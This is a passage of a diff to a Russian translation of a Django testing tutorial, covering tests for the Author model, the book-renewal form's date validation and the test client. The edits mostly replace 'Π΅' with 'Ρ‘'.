ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ наши тСсты Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡ‚ΡŒ Π½ΡƒΠΆΠ½Ρ‹ΠΉ Π½Π°ΠΌ Ρ€Π°Π·ΠΌΠ΅Ρ€ поля, Π° Π·Π°ΠΎΠ΄Π½ΠΎ ΠΈ Π΅Π³ΠΎ содСрТимоС.</p>
+<p>Рассмотрим модСль <code>Author</code>. ΠœΡ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ провСсти тСсты тСкстовых ΠΌΠ΅Ρ‚ΠΎΠΊ всСх ΠΏΠΎΠ»Π΅ΠΉ, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ, Π΄Π°ΠΆΠ΅ нСсмотря Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Π½Π΅ всС ΠΎΠ½ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Ρ‹, Ρƒ нас Π΅ΡΡ‚ΡŒ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ сказано, Ρ‡Ρ‚ΠΎ всС ΠΈΡ… значСния Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ Π·Π°Π΄Π°Π½Ρ‹. Если ΠΌΡ‹ Π½Π΅ ΠΏΡ€ΠΎΠ²Π΅Π΄Ρ‘ΠΌ ΠΈΡ… тСстированиС, Ρ‚ΠΎΠ³Π΄Π° ΠΌΡ‹ Π½Π΅ Π±ΡƒΠ΄Π΅ΠΌ Π·Π½Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ Π΄Π°Π½Π½Ρ‹Π΅ ΠΌΠ΅Ρ‚ΠΊΠΈ Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ содСрТат Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Π΅ значСния. ΠœΡ‹ ΡƒΠ²Π΅Ρ€Π΅Π½Ρ‹ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Django создаст ΠΏΠΎΠ»Π΅ Π·Π°Π΄Π°Π½Π½ΠΎΠΉ Π΄Π»ΠΈΠ½Ρ‹, Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ наши тСсты Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡ‚ΡŒ Π½ΡƒΠΆΠ½Ρ‹ΠΉ Π½Π°ΠΌ Ρ€Π°Π·ΠΌΠ΅Ρ€ поля, Π° Π·Π°ΠΎΠ΄Π½ΠΎ ΠΈ Π΅Π³ΠΎ содСрТимоС.</p>
<pre class="brush: python">class Author(models.Model):
Β  Β  first_name = models.CharField(max_length=100)
@@ -283,9 +283,9 @@ python3 manage.py test catalog.tests.test_models.YourTestClass.test_one_plus_one
Β  Β  def __str__(self):
Β  Β  Β  Β  return '%s, %s' % (self.last_name, self.first_name)</pre>
-<p>ΠžΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ Ρ„Π°ΠΉΠ» <strong>/catalog/tests/test_models.py</strong> ΠΈ Π·Π°ΠΌΠ΅Π½ΠΈΡ‚Π΅ всС Π΅Π³ΠΎ содСрТимоС ΠΊΠΎΠ΄ΠΎΠΌ, ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ Π²ΠΎ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Π΅ для тСстирования ΠΌΠΎΠ΄Π΅Π»ΠΈ <code>Author</code> (Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚ прСдставлСн Π½ΠΈΠΆΠ΅).</p>
+<p>ΠžΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ Ρ„Π°ΠΉΠ» <strong>/catalog/tests/test_models.py</strong> ΠΈ Π·Π°ΠΌΠ΅Π½ΠΈΡ‚Π΅ всС Π΅Π³ΠΎ содСрТимоС ΠΊΠΎΠ΄ΠΎΠΌ, ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌ Π²ΠΎ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Π΅ для тСстирования ΠΌΠΎΠ΄Π΅Π»ΠΈ <code>Author</code> (Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚ прСдставлСн Π½ΠΈΠΆΠ΅).</p>
-<p>Π’ ΠΏΠ΅Ρ€Π²ΠΎΠΉ строкС ΠΌΡ‹ ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΡƒΠ΅ΠΌ класс <code>TestCase</code>, Π° Π·Π°Ρ‚Π΅ΠΌ наслСдуСмся ΠΎΡ‚ Π½Π΅Π³ΠΎ, создавая класс с ΠΎΠΏΠΈΡΠ°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌ (<code>AuthorModelTest</code>), ΠΎΠ½ΠΎ ΠΏΠΎΠΌΠΎΠΆΠ΅Ρ‚ Π½Π°ΠΌ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ мСста ΠΏΡ€ΠΎΠ²Π°Π»ΠΎΠ² Π² тСстах Π²ΠΎ врСмя Π²Ρ‹Π²ΠΎΠ΄Π° ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ Π½Π° консоль. Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ создаСм ΠΌΠ΅Ρ‚ΠΎΠ΄ <code>setUpTestData()</code>, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ создаСм ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Π°Π²Ρ‚ΠΎΡ€Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ Π±ΡƒΠ΄Π΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π² тСстах, Π½ΠΎ Π½ΠΈΠ³Π΄Π΅ Π½Π΅ Π±ΡƒΠ΄Π΅ΠΌ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ.</p>
+<p>Π’ ΠΏΠ΅Ρ€Π²ΠΎΠΉ строкС ΠΌΡ‹ ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΡƒΠ΅ΠΌ класс <code>TestCase</code>, Π° Π·Π°Ρ‚Π΅ΠΌ наслСдуСмся ΠΎΡ‚ Π½Π΅Π³ΠΎ, создавая класс с ΠΎΠΏΠΈΡΠ°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌ (<code>AuthorModelTest</code>), ΠΎΠ½ΠΎ ΠΏΠΎΠΌΠΎΠΆΠ΅Ρ‚ Π½Π°ΠΌ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ мСста ΠΏΡ€ΠΎΠ²Π°Π»ΠΎΠ² Π² тСстах Π²ΠΎ врСмя Π²Ρ‹Π²ΠΎΠ΄Π° ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ Π½Π° консоль. Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ создаём ΠΌΠ΅Ρ‚ΠΎΠ΄ <code>setUpTestData()</code>, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ создаём ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Π°Π²Ρ‚ΠΎΡ€Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ Π±ΡƒΠ΄Π΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π² тСстах, Π½ΠΎ Π½ΠΈΠ³Π΄Π΅ Π½Π΅ Π±ΡƒΠ΄Π΅ΠΌ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ.</p>
<pre class="brush: python">from django.test import TestCase
@@ -385,7 +385,7 @@ AssertionError: 'Died' != 'died'
<p>Бмысл провСдСния тСстов для Ρ„ΠΎΡ€ΠΌ Ρ‚ΠΎΡ‚ ΠΆΠ΅, Ρ‡Ρ‚ΠΎ ΠΈ для ΠΌΠΎΠ΄Π΅Π»Π΅ΠΉ; Π½Π°Π΄ΠΎ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ вСсь собствСнный ΠΊΠΎΠ΄ ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ особСнности ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π°, Π½ΠΎ Π½Π΅ Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ касаСтся Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊΠ°, ΠΈΠ»ΠΈ сторонних Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊ.</p>
-<p>Π’ основном это ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΡ€ΠΎΡ‚Π΅ΡΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Ρ„ΠΎΡ€ΠΌΡ‹ ΠΈΠΌΠ΅ΡŽΡ‚ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ поля ΠΈ Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‚ΡΡ с ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΌΠΈ ΠΌΠ΅Ρ‚ΠΊΠ°ΠΌΠΈ ΠΈ Π²ΡΠΏΠΎΠΌΠΎΠ³Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌΠΈ тСкстами. Π’Π°ΠΌ Π½Π΅ Π½Π°Π΄ΠΎ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡ‚ΡŒ Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Django ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ осущСствляСт Π²Π°Π»ΠΈΠ΄Π°Ρ†ΠΈΡŽ ΠΏΠΎΠ»Π΅ΠΉ (Ссли Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π²Ρ‹ Π½Π΅ создали своС собствСнноС ΠΏΠΎΠ»Π΅ ΠΈ Π²Π°Π»ΠΈΠ΄Π°Ρ†ΠΈΡŽ) β€” Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ Π²Π°ΠΌ Π½Π΅ Π½Π°Π΄ΠΎ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡ‚ΡŒ Ρ‡Ρ‚ΠΎ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΏΠΎΠ»Π΅ Π²Π²ΠΎΠ΄Π° элСктронного адрСса ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ элСктронного адрСса. Но Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΡ€ΠΎΡ‚Π΅ΡΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΊΠ°ΠΆΠ΄ΡƒΡŽ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΡƒΡŽ Π²Π°Π»ΠΈΠ΄Π°Ρ†ΠΈΡŽ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π²Ρ‹ добавляСтС для ΠΏΠΎΠ»Π΅ΠΉ ΠΈ Π»ΡŽΠ±Ρ‹Π΅ сообщСния, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ваш ΠΊΠΎΠ΄ Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΡƒΠ΅Ρ‚ Π² случаС ошибок.</p>
+<p>Π’ основном это ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΡ€ΠΎΡ‚Π΅ΡΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Ρ„ΠΎΡ€ΠΌΡ‹ ΠΈΠΌΠ΅ΡŽΡ‚ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ поля ΠΈ Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‚ΡΡ с ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΌΠΈ ΠΌΠ΅Ρ‚ΠΊΠ°ΠΌΠΈ ΠΈ Π²ΡΠΏΠΎΠΌΠΎΠ³Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌΠΈ тСкстами. Π’Π°ΠΌ Π½Π΅ Π½Π°Π΄ΠΎ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡ‚ΡŒ Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Django ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ осущСствляСт Π²Π°Π»ΠΈΠ΄Π°Ρ†ΠΈΡŽ ΠΏΠΎΠ»Π΅ΠΉ (Ссли Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π²Ρ‹ Π½Π΅ создали своё собствСнноС ΠΏΠΎΠ»Π΅ ΠΈ Π²Π°Π»ΠΈΠ΄Π°Ρ†ΠΈΡŽ) β€” Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ Π²Π°ΠΌ Π½Π΅ Π½Π°Π΄ΠΎ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡ‚ΡŒ Ρ‡Ρ‚ΠΎ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΏΠΎΠ»Π΅ Π²Π²ΠΎΠ΄Π° элСктронного адрСса ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ элСктронного адрСса. Но Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΡ€ΠΎΡ‚Π΅ΡΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΊΠ°ΠΆΠ΄ΡƒΡŽ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΡƒΡŽ Π²Π°Π»ΠΈΠ΄Π°Ρ†ΠΈΡŽ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π²Ρ‹ добавляСтС для ΠΏΠΎΠ»Π΅ΠΉ ΠΈ Π»ΡŽΠ±Ρ‹Π΅ сообщСния, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ваш ΠΊΠΎΠ΄ Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΡƒΠ΅Ρ‚ Π² случаС ошибок.</p>
<p>Рассмотрим Ρ„ΠΎΡ€ΠΌΡƒ для обновлСния ΠΊΠ½ΠΈΠ³. Она ΠΈΠΌΠ΅Π΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄Π½ΠΎ ΠΏΠΎΠ»Π΅ обновлСния Π΄Π°Ρ‚Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ Ρ‚Π΅ΠΊΡΡ‚ΠΎΠ²ΡƒΡŽ ΠΌΠ΅Ρ‚ΠΊΡƒ ΠΈ Π²ΡΠΏΠΎΠΌΠΎΠ³Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ тСкст, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Π°ΠΌ Π½Π°Π΄ΠΎ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ.</p>
@@ -401,7 +401,7 @@ AssertionError: 'Died' != 'died'
#ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ°, Ρ‡Ρ‚ΠΎ Π΄Π°Ρ‚Π° Π½Π΅ Π² ΠΏΡ€ΠΎΡˆΠ»ΠΎΠΌ.
if data &lt; datetime.date.today():
raise ValidationError(_('Invalid date - renewal in past'))
- #Если Π΄Π°Ρ‚Π° Π² "Π΄Π°Π»Π΅ΠΊΠΎΠΌ" Π±ΡƒΠ΄ΡƒΡ‰Π΅ΠΌ (+4 Π½Π΅Π΄Π΅Π»ΠΈ)
+ #Если Π΄Π°Ρ‚Π° Π² "Π΄Π°Π»Ρ‘ΠΊΠΎΠΌ" Π±ΡƒΠ΄ΡƒΡ‰Π΅ΠΌ (+4 Π½Π΅Π΄Π΅Π»ΠΈ)
if data &gt; datetime.date.today() + datetime.timedelta(weeks=4):
raise ValidationError(_('Invalid date - renewal more than 4 weeks ahead'))
@@ -455,7 +455,7 @@ class RenewBookFormTest(TestCase):
<p>ΠŸΠ΅Ρ€Π²Ρ‹Π΅ Π΄Π²Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡŽΡ‚ тСкст ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ поля <code>label</code> ΠΈ <code>help_text</code>. Доступ ΠΊ полю ΠΌΡ‹ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅ΠΌ ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ словаря (Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ, <code>form.fields['renewal_date']</code>). ΠžΡ‚ΠΌΠ΅Ρ‚ΠΈΠΌ, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡ‚ΡŒ содСрТит Π»ΠΈ ΠΌΠ΅Ρ‚ΠΊΠ° Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>None</code>, ΠΈΠ½Π°Ρ‡Π΅ Π² ΠΏΠΎΠ»Π΅ тСкста ΠΌΠ΅Ρ‚ΠΊΠΈ Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ "<code>None</code>".</p>
-<p>ΠžΡΡ‚Π°Π²ΡˆΠΈΠ΅ΡΡ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡŽΡ‚ Π²Π°Π»ΠΈΠ΄Π½ΠΎΡΡ‚ΡŒ Π΄Π°Ρ‚, Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ ΠΈΡ… Π½Π°Ρ…ΠΎΠΆΠ΄Π΅Π½ΠΈΠ΅ Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π»Π°, Π° Ρ‚Π°ΠΊΠΆΠ΅ Π½Π΅Π²Π°Π»ΠΈΠ΄Π½ΠΎΡΡ‚ΡŒ для Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ находятся Π²Π½Π΅ Π·Π°Π΄Π°Π½Π½ΠΎΠ³ΠΎ ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π»Π°. Для получСния исходного значСния ΠΌΡ‹ использовали Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ получСния Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ Π΄Π°Ρ‚Ρ‹ (<code>datetime.date.today()</code>), Π° Ρ‚Π°ΠΊΠΆΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code>datetime.timedelta()</code> (которая ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ΅ число Π΄Π½Π΅ΠΉ, ΠΈΠ»ΠΈ нСдСль). Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ просто создали Ρ„ΠΎΡ€ΠΌΡƒ, пСрСдавая Π΅ΠΉ наши Π΄Π°Π½Π½Ρ‹Π΅ ΠΈ провСряя Π΅Π΅ Π½Π° Π²Π°Π»ΠΈΠ΄Π½ΠΎΡΡ‚ΡŒ.</p>
+<p>ΠžΡΡ‚Π°Π²ΡˆΠΈΠ΅ΡΡ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡŽΡ‚ Π²Π°Π»ΠΈΠ΄Π½ΠΎΡΡ‚ΡŒ Π΄Π°Ρ‚, Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ ΠΈΡ… Π½Π°Ρ…ΠΎΠΆΠ΄Π΅Π½ΠΈΠ΅ Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π»Π°, Π° Ρ‚Π°ΠΊΠΆΠ΅ Π½Π΅Π²Π°Π»ΠΈΠ΄Π½ΠΎΡΡ‚ΡŒ для Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ находятся Π²Π½Π΅ Π·Π°Π΄Π°Π½Π½ΠΎΠ³ΠΎ ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π»Π°. Для получСния исходного значСния ΠΌΡ‹ использовали Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ получСния Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ Π΄Π°Ρ‚Ρ‹ (<code>datetime.date.today()</code>), Π° Ρ‚Π°ΠΊΠΆΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code>datetime.timedelta()</code> (которая ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ΅ число Π΄Π½Π΅ΠΉ, ΠΈΠ»ΠΈ нСдСль). Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ просто создали Ρ„ΠΎΡ€ΠΌΡƒ, пСрСдавая Π΅ΠΉ наши Π΄Π°Π½Π½Ρ‹Π΅ ΠΈ провСряя Π΅Ρ‘ Π½Π° Π²Π°Π»ΠΈΠ΄Π½ΠΎΡΡ‚ΡŒ.</p>
<div class="note">
<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> Π’ Π΄Π°Π½Π½ΠΎΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΌΡ‹ Π½Π΅ использовали Π½ΠΈ Π±Π°Π·Ρƒ Π΄Π°Π½Π½Ρ‹Ρ…, Π½ΠΈ тСстовый ΠΊΠ»ΠΈΠ΅Π½Ρ‚. РассмотритС ΠΌΠΎΠ΄ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΡŽ этих тСстов ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ класса <a href="https://docs.djangoproject.com/en/1.10/topics/testing/tools/#django.test.SimpleTestCase">SimpleTestCase</a>.</p>
@@ -463,22 +463,22 @@ class RenewBookFormTest(TestCase):
<p>Нам Ρ‚Π°ΠΊΠΆΠ΅ Π½Π°Π΄ΠΎ Π±Ρ‹ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡ‚ΡŒ Π²ΠΎΠ·Π½ΠΈΠΊΠ½ΠΎΠ²Π΅Π½ΠΈΠ΅ ошибок, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΡΠ²Π»ΡΡŽΡ‚ΡΡ Ссли Ρ„ΠΎΡ€ΠΌΠ° Π½Π΅ Π²Π°Π»ΠΈΠ΄Π½Π°. Но, ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ, это относится ΠΊ процСссу Π²Ρ‹Π²ΠΎΠ΄Π° ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ, Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, ΠΌΡ‹ позаботимся ΠΎΠ± этом Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ Ρ€Π°Π·Π΄Π΅Π»Π΅.</p>
</div>
-<p>На этом с Ρ„ΠΎΡ€ΠΌΠ°ΠΌΠΈ ΠΌΠΎΠΆΠ½ΠΎ Π·Π°ΠΊΠΎΠ½Ρ‡ΠΈΡ‚ΡŒ; Ρƒ нас ΠΈΠΌΠ΅ΡŽΡ‚ΡΡ ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ тСсты, Π½ΠΎ ΠΎΠ½ΠΈ Π±Ρ‹Π»ΠΈ созданы ΠΎΠ±ΠΎΠ±Ρ‰Π΅Π½Π½Ρ‹ΠΌΠΈ классами отобраТСния для рСдактирования! ЗапуститС тСсты ΠΈ ΡƒΠ±Π΅Π΄ΠΈΡ‚Π΅ΡΡŒ, Ρ‡Ρ‚ΠΎ наш ΠΊΠΎΠ΄ всС Π΅Ρ‰Π΅ ΠΈΠΌ соотвСтствуСт!</p>
+<p>На этом с Ρ„ΠΎΡ€ΠΌΠ°ΠΌΠΈ ΠΌΠΎΠΆΠ½ΠΎ Π·Π°ΠΊΠΎΠ½Ρ‡ΠΈΡ‚ΡŒ; Ρƒ нас ΠΈΠΌΠ΅ΡŽΡ‚ΡΡ ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ тСсты, Π½ΠΎ ΠΎΠ½ΠΈ Π±Ρ‹Π»ΠΈ созданы ΠΎΠ±ΠΎΠ±Ρ‰Ρ‘Π½Π½Ρ‹ΠΌΠΈ классами отобраТСния для рСдактирования! ЗапуститС тСсты ΠΈ ΡƒΠ±Π΅Π΄ΠΈΡ‚Π΅ΡΡŒ, Ρ‡Ρ‚ΠΎ наш ΠΊΠΎΠ΄ всС Π΅Ρ‰Ρ‘ ΠΈΠΌ соотвСтствуСт!</p>
<h3 id="ΠžΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΡ">ΠžΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΡ</h3>
-<p>Для ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ повСдСния отобраТСния ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ тСстовый ΠΊΠ»ΠΈΠ΅Π½Ρ‚ Django <a href="https://docs.djangoproject.com/en/1.10/topics/testing/tools/#django.test.Client">Client</a>. Π”Π°Π½Π½Ρ‹ΠΉ класс дСйствуСт ΠΊΠ°ΠΊ ΡƒΠΏΡ€ΠΎΡ‰Π΅Π½Π½Ρ‹ΠΉ Π²Π΅Π±-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ примСняСм для ΠΈΠΌΠΈΡ‚Π°Ρ†ΠΈΠΈΒ  <code>GET</code> ΠΈ <code>POST</code> запросов ΠΈ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ ΠΎΡ‚Π²Π΅Ρ‚ΠΎΠ². ΠŸΡ€ΠΎ ΠΎΡ‚Π²Π΅Ρ‚Ρ‹ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΡƒΠ·Π½Π°Ρ‚ΡŒ ΠΏΠΎΡ‡Ρ‚ΠΈ всС, начиная с Π½ΠΈΠ·ΠΊΠΎΡƒΡ€ΠΎΠ²Π½Π΅Π²ΠΎΠ³ΠΎ HTTP (ΠΈΡ‚ΠΎΠ³ΠΎΠ²Ρ‹Π΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ ΠΈ ΠΊΠΎΠ΄Ρ‹ статусов) ΠΈ Π²ΠΏΠ»ΠΎΡ‚ΡŒ Π΄ΠΎ примСняСмых шаблонов, 